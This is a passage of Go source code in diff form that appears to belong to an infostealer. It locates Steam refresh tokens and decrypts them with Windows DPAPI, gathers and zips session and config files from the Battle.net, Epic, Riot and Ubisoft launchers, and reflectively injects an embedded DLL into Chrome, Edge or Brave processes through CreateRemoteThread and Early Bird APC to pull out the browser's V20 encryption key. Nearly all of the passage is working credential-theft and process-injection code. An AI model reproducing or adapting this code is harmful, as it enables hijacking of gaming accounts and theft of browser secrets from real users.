result.Token = strings.Join(tokens, "\n")
// Parse each token into its steamID + jwt pair (steamID is the part
// before the first dot), so it can be surfaced cleanly in the panel.
for _, tok := range tokens {
if dot := strings.Index(tok, "."); dot > 0 {
steamID := tok[:dot]
jwt := tok[dot+1:]
if steamID != "" && jwt != "" {
result.SteamTokens = append(result.SteamTokens, types.SteamTokenResult{
SteamID: steamID,
Token: jwt,
})
}
if result.Account == "" {
result.Account = steamID
}
}
}
}
}
if result.Account == "" {
configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml")
if configBytes, err := os.ReadFile(configPath); err == nil {
content := string(configBytes)
if idx := strings.Index(content, `"PersonaName"`); idx > 0 {
start := strings.Index(content[idx:], `"`)
end := strings.Index(content[idx+start+1:], `"`)
if start > 0 && end > 0 {
result.Account = content[idx+start+1 : idx+start+1+end]
}
}
}
}
return result
}
func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
libraryFolders := []string{steamPath}
steamappsRoot := filepath.Join(steamPath, "steamapps")
logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot))
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath))
if data, err := os.ReadFile(vdfPath); err == nil {
for _, line := range normLines(string(data)) {
line = strings.TrimSpace(line)
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
val := vdfValue(line)
if val != "" {
libraryPath := filepath.FromSlash(val)
libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator))
if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) {
libraryFolders = append(libraryFolders, libraryPath)
}
}
}
}
}
logf("[gaming] Steam library folders to scan: %v", libraryFolders)
for _, lib := range libraryFolders {
libApps := filepath.Join(lib, "steamapps")
logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps))
if !pathExists(libApps) {
continue
}
entries, _ := os.ReadDir(libApps)
logf("[gaming] Steam steamapps dir has %d entries", len(entries))
for _, e := range entries {
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
continue
}
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
if err != nil || len(acfData) == 0 {
continue
}
acf := parseACF(string(acfData))
if acf["appid"] == "" || acf["name"] == "" {
continue
}
installed := acf["StateFlags"] != "4"
if !seenGames[acf["appid"]] {
seenGames[acf["appid"]] = true
result.Games = append(result.Games, types.GameInfo{
ID: acf["appid"],
Name: acf["name"],
Installed: installed,
})
}
}
}
}
func parseACF(data string) map[string]string {
result := map[string]string{}
var inBlock bool
for _, line := range normLines(data) {
line = strings.TrimLeft(line, "\t ")
if line == "{" {
inBlock = true
continue
}
if line == "}" {
break
}
if !inBlock || line == "" {
continue
}
if strings.HasPrefix(line, `"`) {
key, val := vdfKeyValue(line)
if key != "" {
result[key] = val
}
}
}
return result
}
func vdfKeyValue(line string) (string, string) {
key := vdfNthQuoted(line, 0)
val := vdfNthQuoted(line, 1)
return key, val
}
func vdfValue(line string) string {
return vdfNthQuoted(line, 1)
}
func vdfNthQuoted(line string, n int) string {
count := 0
i := 0
for count <= n && i < len(line) {
start := strings.Index(line[i:], `"`)
if start == -1 {
return ""
}
start += i + 1
end := strings.Index(line[start:], `"`)
if end == -1 {
if count == n {
return line[start:]
}
return ""
}
if count == n {
return line[start : start+end]
}
i = start + end + 1
count++
}
return ""
}
func extractSteamTokens(steamPath, localVdfPath string) []string {
loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf")
if !pathExists(loginUsersPath) {
loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf")
}
if !pathExists(loginUsersPath) {
return nil
}
loginData, _ := os.ReadFile(loginUsersPath)
localData, _ := os.ReadFile(localVdfPath)
if loginData == nil || localData == nil {
return nil
}
accounts := parseVDFAccountNames(string(loginData))
if len(accounts) == 0 {
return nil
}
return findSteamTokens(string(localData), accounts)
}
func parseVDFAccountNames(data string) []string {
var accounts []string
for _, line := range normLines(data) {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, `"AccountName"`) {
val := vdfValue(line)
if val != "" {
accounts = append(accounts, val)
}
}
}
return accounts
}
func findSteamTokens(data string, accounts []string) []string {
normalized := strings.ReplaceAll(data, "\r\n", "\n")
var tokens []string
for _, account := range accounts {
prefix := `"` + account + `"`
idx := strings.Index(normalized, prefix)
if idx == -1 {
continue
}
blockStart := strings.Index(normalized[idx:], "{")
blockEnd := strings.Index(normalized[idx:], "}")
if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart {
continue
}
block := normalized[idx+blockStart : idx+blockEnd]
tokenStart := strings.Index(block, `"Token"`)
if tokenStart == -1 {
tokenStart = strings.Index(block, `"RefreshToken"`)
}
if tokenStart == -1 {
continue
}
tokenLine := block[tokenStart:]
if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 {
tokenLine = tokenLine[:lineEnd]
}
tokenHex := vdfValue(tokenLine)
if len(tokenHex) < 64 {
continue
}
decrypted := decryptSteamToken(tokenHex, account)
if decrypted != "" {
tokens = append(tokens, account+"."+decrypted)
}
}
return tokens
}
func decryptSteamToken(tokenHex, account string) string {
tokenBytes, err := hex.DecodeString(tokenHex)
if err != nil || len(tokenBytes) < 16 {
return ""
}
entropy := []byte(account)
out, err := dpapiDecrypt(tokenBytes, entropy)
if err != nil || len(out) == 0 {
return ""
}
return strings.TrimRight(string(out), "\x00")
}
func dpapiDecrypt(data, entropy []byte) ([]byte, error) {
type blob struct {
cbData uint32
pbData *byte
}
var inBlob, outBlob blob
inBlob.cbData = uint32(len(data))
if len(data) > 0 {
inBlob.pbData = &data[0]
}
var entPtr uintptr
if len(entropy) > 0 {
entBlob := blob{
cbData: uint32(len(entropy)),
pbData: &entropy[0],
}
entPtr = uintptr(unsafe.Pointer(&entBlob))
}
proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData")
r, _, err := proc.Call(
uintptr(unsafe.Pointer(&inBlob)),
0, entPtr, 0, 0, 0,
uintptr(unsafe.Pointer(&outBlob)),
)
if r == 0 {
return nil, err
}
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
out := make([]byte, outBlob.cbData)
copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData))
return out, nil
}
func pathExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func ScanBattleNet() []types.BattleNetResult {
var results []types.BattleNetResult
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir))
if !pathExists(bnDir) {
return nil
}
entries, _ := os.ReadDir(bnDir)
for _, e := range entries {
if e.IsDir() {
scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results)
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
results = append(results, types.BattleNetResult{
Path: filepath.Join(bnDir, e.Name()),
Name: e.Name(),
})
}
}
return results
}
func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) {
entries, err := os.ReadDir(dir)
if err != nil {
return
}
for _, e := range entries {
if e.IsDir() {
scanBattleNetRecursive(filepath.Join(dir, e.Name()), results)
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
*results = append(*results, types.BattleNetResult{
Path: filepath.Join(dir, e.Name()),
Name: e.Name(),
})
}
}
}
func ScanEpic() []types.EpicResult {
var results []types.EpicResult
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini")
logf("[gaming] Epic config=%q exists=%v", path, pathExists(path))
if !pathExists(path) {
return nil
}
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
return nil
}
content := string(data)
if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") {
results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"})
}
return results
}
func ScanRiot() []types.RiotResult {
var results []types.RiotResult
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data")
logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir))
if pathExists(riotDir) {
results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"})
}
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config")
logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir))
if pathExists(configDir) {
results = append(results, types.RiotResult{Path: configDir, Name: "Config"})
}
return results
}
func ScanUplay() []types.UplayResult {
var results []types.UplayResult
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path))
if pathExists(path) {
results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"})
}
return results
}
const maxZipFile = 50 * 1024 * 1024
func ZipSteamSession(steamPath string) ([]byte, error) {
if steamPath == "" || !pathExists(steamPath) {
return nil, os.ErrNotExist
}
var files []string
entries, _ := os.ReadDir(steamPath)
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
files = append(files, filepath.Join(steamPath, e.Name()))
}
}
}
configDir := filepath.Join(steamPath, "config")
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
p := filepath.Join(configDir, name)
if pathExists(p) {
files = append(files, p)
}
}
localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
if pathExists(localVdf) {
files = append(files, localVdf)
}
if len(files) == 0 {
return nil, os.ErrNotExist
}
logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath)
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
}
func ZipBattleNet() ([]byte, error) {
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
if !pathExists(bnDir) {
return nil, os.ErrNotExist
}
return ziputil.ZipDirectory(bnDir)
}
func ZipEpic() ([]byte, error) {
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows")
if !pathExists(configDir) {
return nil, os.ErrNotExist
}
return ziputil.ZipDirectory(configDir)
}
func ZipRiot() ([]byte, error) {
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client")
if !pathExists(riotDir) {
return nil, os.ErrNotExist
}
var files []string
for _, sub := range []string{"Data", "Config"} {
d := filepath.Join(riotDir, sub)
if !pathExists(d) {
continue
}
filepath.Walk(d, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || info.Size() > maxZipFile {
return nil
}
files = append(files, path)
return nil
})
}
if len(files) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(files, riotDir)
}
func ZipUplay() ([]byte, error) {
uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
if !pathExists(uplayDir) {
return nil, os.ErrNotExist
}
return ziputil.ZipDirectory(uplayDir)
}
@@ -0,0 +1,26 @@
package recovery
import (
"fmt"
"log"
"sync"
)
func logf(format string, args ...interface{}) {
log.Printf("[recovery] "+format, args...)
}
func safeRecover(where string) {
if r := recover(); r != nil {
logf("panic recovered in %s: %v", where, r)
}
}
func recoverErrors(where string, errs *[]string, mu *sync.Mutex) {
if r := recover(); r != nil {
logf("panic recovered in %s: %v", where, r)
mu.Lock()
*errs = append(*errs, fmt.Sprintf("%s: %v", where, r))
mu.Unlock()
}
}
@@ -0,0 +1,14 @@
//go:build windows
package platform
import (
_ "embed"
)
//go:embed compat-layer.dll
var embeddedDLL []byte
func GetEmbeddedDLL() []byte {
return embeddedDLL
}
@@ -0,0 +1,7 @@
//go:build !windows
package platform
func GetEmbeddedDLL() []byte {
return nil
}
@@ -0,0 +1,631 @@
//go:build windows
package platform
import (
"encoding/base64"
"encoding/binary"
"fmt"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
var (
modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll")
procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx")
procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx")
procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread")
procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC")
modNtdllInj = windows.NewLazySystemDLL("ntdll.dll")
procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess")
)
// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64).
type processBasicInformation struct {
Reserved1 uintptr
PebBaseAddress uintptr
Reserved2 [2]uintptr
UniqueProcessId uintptr
Reserved3 uintptr
}
// unicodeString mirrors UNICODE_STRING.
type unicodeString struct {
Length uint16
MaximumLength uint16
Buffer uintptr
}
// processCommandLine returns the full command line of a process by walking its
// PEB (x64 offsets). Used to distinguish the main browser process from its
// renderer/GPU/utility subprocesses.
func processCommandLine(pid uint32) (string, error) {
hProcess, err := windows.OpenProcess(
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid)
if err != nil {
return "", err
}
defer windows.CloseHandle(hProcess)
var pbi processBasicInformation
var retLen uint32
status, _, _ := procNtQueryInformationProcess.Call(
uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)),
unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)),
)
if status != 0 || pbi.PebBaseAddress == 0 {
return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status)
}
// PEB.ProcessParameters (offset 0x20 on x64).
var procParams uintptr
if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20,
(*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil {
return "", err
}
if procParams == 0 {
return "", fmt.Errorf("no process parameters")
}
// RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64).
var cmdLine unicodeString
if err := windows.ReadProcessMemory(hProcess, procParams+0x70,
(*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil {
return "", err
}
if cmdLine.Length == 0 || cmdLine.Buffer == 0 {
return "", fmt.Errorf("no command line")
}
buf := make([]uint16, cmdLine.Length/2)
if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer,
(*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil {
return "", err
}
return syscall.UTF16ToString(buf), nil
}
func orderedBrowserPIDs(exeName string) []uint32 {
pids, err := FindProcesses(exeName)
if err != nil || len(pids) <= 1 {
return pids
}
for i, pid := range pids {
if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") {
if i != 0 {
pids[0], pids[i] = pids[i], pids[0]
}
return pids
}
}
return pids
}
// findReflectiveLoaderOffset parses the PE export table in file layout and
// returns the file offset of the ReflectiveLoader export function.
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' {
return 0, fmt.Errorf("not a valid PE")
}
lfanew := binary.LittleEndian.Uint32(pe[60:])
if int(lfanew)+24 > len(pe) {
return 0, fmt.Errorf("truncated PE header")
}
if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 {
return 0, fmt.Errorf("bad PE signature")
}
coffOff := lfanew + 4
numSections := binary.LittleEndian.Uint16(pe[coffOff+2:])
optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:])
optHeaderOff := coffOff + 20
if int(optHeaderOff)+4 > len(pe) {
return 0, fmt.Errorf("truncated optional header")
}
magic := binary.LittleEndian.Uint16(pe[optHeaderOff:])
var exportRVA uint32
switch magic {
case 0x10b: // PE32
if int(optHeaderOff)+100 > len(pe) {
return 0, fmt.Errorf("PE32 optional header too short")
}
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:])
case 0x20b: // PE32+
if int(optHeaderOff)+116 > len(pe) {
return 0, fmt.Errorf("PE32+ optional header too short")
}
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:])
default:
return 0, fmt.Errorf("unknown PE magic 0x%x", magic)
}
sectionOff := optHeaderOff + uint32(optHeaderSize)
// rva2fo converts a virtual RVA to a file offset via the section table.
rva2fo := func(rva uint32) uint32 {
for i := uint16(0); i < numSections; i++ {
off := sectionOff + uint32(i)*40
if int(off)+40 > len(pe) {
break
}
// IMAGE_SECTION_HEADER layout:
// +0 Name[8]
// +8 VirtualSize
// +12 VirtualAddress
// +16 SizeOfRawData
// +20 PointerToRawData
vAddr := binary.LittleEndian.Uint32(pe[off+12:])
vSize := binary.LittleEndian.Uint32(pe[off+8:])
rawPtr := binary.LittleEndian.Uint32(pe[off+20:])
rawSize := binary.LittleEndian.Uint32(pe[off+16:])
span := vSize
if rawSize > span {
span = rawSize
}
if rva >= vAddr && rva < vAddr+span {
delta := rva - vAddr
if delta < rawSize {
return rawPtr + delta
}
}
}
// RVA might be in the PE headers (before the first section).
if numSections > 0 {
firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:])
if rva < firstRaw {
return rva
}
}
return 0
}
exportFO := rva2fo(exportRVA)
if exportFO == 0 || int(exportFO)+40 > len(pe) {
return 0, fmt.Errorf("invalid export directory")
}
// IMAGE_EXPORT_DIRECTORY offsets:
// +20 NumberOfFunctions
// +24 NumberOfNames
// +28 AddressOfFunctions
// +32 AddressOfNames
// +36 AddressOfNameOrdinals
numNames := binary.LittleEndian.Uint32(pe[exportFO+24:])
functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:]))
namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:]))
ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:]))
for i := uint32(0); i < numNames; i++ {
if int(namesFO+i*4+4) > len(pe) {
break
}
nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:]))
if nameFO == 0 || int(nameFO) >= len(pe) {
continue
}
name := pe[nameFO:]
found := false
for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ {
if name[k] == 0 {
break
}
if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" {
found = true
break
}
}
if !found {
continue
}
if int(ordinalsFO+i*2+2) > len(pe) {
break
}
ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:]))
if int(functionsFO+ordinal*4+4) > len(pe) {
break
}
funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:]))
if funcFO != 0 {
return funcFO, nil
}
}
return 0, fmt.Errorf("ReflectiveLoader export not found")
}
// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image
// followed by the UTF-16 pipe name, and returns the remote addresses of the
// ReflectiveLoader entry point and the pipe name. The pipe name is passed to
// the loader as lpParameter so it reaches DllMain without relying on an
// inherited environment variable (which running browsers do not have).
func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) {
loaderOff, err := findReflectiveLoaderOffset(dllBytes)
if err != nil {
return 0, 0, fmt.Errorf("find reflective loader: %w", err)
}
pipeW, err := syscall.UTF16FromString(pipeName)
if err != nil {
return 0, 0, fmt.Errorf("utf16 pipe name: %w", err)
}
pipeBytes := len(pipeW) * 2
total := len(dllBytes) + pipeBytes
remoteMem, _, _ := procVirtualAllocEx.Call(
uintptr(hProcess), 0, uintptr(total),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE,
)
if remoteMem == 0 {
return 0, 0, fmt.Errorf("VirtualAllocEx failed")
}
var written uintptr
if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil {
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err)
}
pipeNameAddr = remoteMem + uintptr(len(dllBytes))
pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes)
if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil {
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err)
}
return remoteMem + uintptr(loaderOff), pipeNameAddr, nil
}
func createKillOnCloseJob() (windows.Handle, error) {
job, err := windows.CreateJobObject(nil, nil)
if err != nil {
return 0, fmt.Errorf("CreateJobObject: %w", err)
}
var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION
info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
_, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation,
uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info)))
if err != nil {
windows.CloseHandle(job)
return 0, fmt.Errorf("SetInformationJobObject: %w", err)
}
return job, nil
}
// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread.
// The DLL bytes are written directly into the target process — no temp file on disk.
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
hProcess, err := windows.OpenProcess(
windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|
windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ,
false, targetPID)
if err != nil {
return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err)
}
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName)
if err != nil {
windows.CloseHandle(hProcess)
return nil, err
}
hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0)
if hThread == 0 {
windows.CloseHandle(hProcess)
return nil, fmt.Errorf("CreateRemoteThread: %w", lerr)
}
windows.CloseHandle(windows.Handle(hThread))
logf("DLL reflectively injected into PID %d", targetPID)
return &PipeSession{
pid: targetPID,
hProcess: hProcess,
}, nil
}
func cleanupInjection(hProcess windows.Handle, addr uintptr) {
procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE)
windows.CloseHandle(hProcess)
}
// CreatePipeSession creates a named pipe, reflectively injects the DLL into an
// existing browser process (passing the pipe name via lpParameter), and waits
// for connection. Falls back to creating a new headless browser process if
// injection into an existing process fails or times out.
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
pipeName := createPipeName()
logf("creating pipe: %s", pipeName)
hPipe, err := createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("create pipe server: %w", err)
}
pids := orderedBrowserPIDs(BrowserExeName(browserName))
const maxExistingTries = 3
if len(pids) > 0 {
for i, pid := range pids {
if i >= maxExistingTries {
logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName)
break
}
logf("trying existing %s PID %d", browserName, pid)
s, err := InjectDLL(dllBytes, pipeName, pid)
if err != nil {
logf("inject PID %d failed: %v", pid, err)
continue
}
s.watchExit(fmt.Sprintf("existing %s", browserName), 2000)
if err := waitPipeConnect(hPipe, 2000); err != nil {
logf("pipe connect timeout for PID %d", pid)
s.Close()
procDisconnectNamedPipe.Call(uintptr(hPipe))
windows.CloseHandle(hPipe)
hPipe, err = createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("recreate pipe: %w", err)
}
continue
}
s.hPipe = hPipe
ActivePipeSession = s
logf("pipe session established with existing %s (PID %d)", browserName, pid)
return s, nil
}
logf("failed to inject into existing %s processes, will try creating new process", browserName)
} else {
logf("no running %s found, will create new headless process", browserName)
}
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
if err != nil {
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("create and inject browser: %w", err)
}
s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000)
if err := waitPipeConnect(hPipe, 5000); err != nil {
logf("pipe connect timeout for new process")
s.Close()
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("pipe connect timeout")
}
s.hPipe = hPipe
s.ownsProcess = true
ActivePipeSession = s
logf("pipe session established with new %s (PID %d)", browserName, s.pid)
return s, nil
}
// FindProcesses returns PIDs of running processes matching the given exe name.
func FindProcesses(exeName string) ([]uint32, error) {
if exeName == "" {
return nil, nil
}
hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
}
defer windows.CloseHandle(hSnapshot)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err := windows.Process32First(hSnapshot, &entry); err != nil {
return nil, err
}
var pids []uint32
for {
if syscall.UTF16ToString(entry.ExeFile[:]) == exeName {
pids = append(pids, entry.ProcessID)
}
if err := windows.Process32Next(hSnapshot, &entry); err != nil {
break
}
}
return pids, nil
}
func BrowserExeName(name string) string {
switch name {
case "Chrome":
return "chrome.exe"
case "Edge":
return "msedge.exe"
case "Brave":
return "brave.exe"
}
return ""
}
// CreateAndInjectBrowser creates a new suspended browser process and reflectively
// injects the DLL via Early Bird APC. No temp file is written to disk.
func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) {
browserPath, err := getBrowserPath(browserName)
if err != nil {
return nil, fmt.Errorf("get browser path: %w", err)
}
browserPathW, err := syscall.UTF16PtrFromString(browserPath)
if err != nil {
return nil, err
}
cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath)
cmdLineW, err := syscall.UTF16PtrFromString(cmdLine)
if err != nil {
return nil, err
}
var si windows.StartupInfo
var pi windows.ProcessInformation
si.Cb = uint32(unsafe.Sizeof(si))
if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false,
windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil {
return nil, fmt.Errorf("CreateProcess: %w", err)
}
logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId)
// Create a kill-on-close job and assign the suspended browser to it so the
// whole process tree is reaped when the session closes, even though the
// headless parent self-exits after serving one key.
job, jobErr := createKillOnCloseJob()
if jobErr != nil {
logf("job object unavailable, falling back to TerminateProcess: %v", jobErr)
} else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil {
logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err)
windows.CloseHandle(job)
job = 0
} else {
logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId)
}
cleanup := func() {
if job != 0 {
windows.CloseHandle(job)
}
windows.TerminateProcess(pi.Process, 0)
windows.CloseHandle(pi.Process)
windows.CloseHandle(pi.Thread)
}
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName)
if err != nil {
cleanup()
return nil, err
}
// Queue APC to the main thread — fires on its first alertable wait after resume.
ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr)
if ret == 0 {
cleanup()
return nil, fmt.Errorf("QueueUserAPC: %w", aerr)
}
logf("queued APC for reflective loader")
if _, err := windows.ResumeThread(pi.Thread); err != nil {
cleanup()
return nil, fmt.Errorf("ResumeThread: %w", err)
}
logf("resumed process main thread")
return &PipeSession{
pid: pi.ProcessId,
hProcess: pi.Process,
ownsProcess: true,
job: job,
}, nil
}
func getBrowserPath(browserName string) (string, error) {
var paths []string
switch browserName {
case "Chrome":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"),
filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"),
}
case "Edge":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"),
}
case "Brave":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
}
default:
return "", fmt.Errorf("unknown browser: %s", browserName)
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return p, nil
}
}
return "", fmt.Errorf("%s not found", browserName)
}
// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL
// into a browser process and communicating via named pipe.
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
dllBytes := GetEmbeddedDLL()
if dllBytes == nil {
return nil, fmt.Errorf("no embedded DLL")
}
pids := orderedBrowserPIDs(processName)
if len(pids) == 0 && browserName == "Chrome" {
return nil, fmt.Errorf("no running Chrome processes for V20")
}
pipeName := createPipeName()
hPipe, err := createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("create pipe: %w", err)
}
const maxTries = 3
for i, pid := range pids {
if i >= maxTries {
break
}
s, injErr := InjectDLL(dllBytes, pipeName, pid)
if injErr != nil {
logf("V20 inject %s PID %d: %v", browserName, pid, injErr)
continue
}
s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000)
if connErr := waitPipeConnect(hPipe, 1000); connErr != nil {
logf("V20 pipe timeout for %s PID %d", browserName, pid)
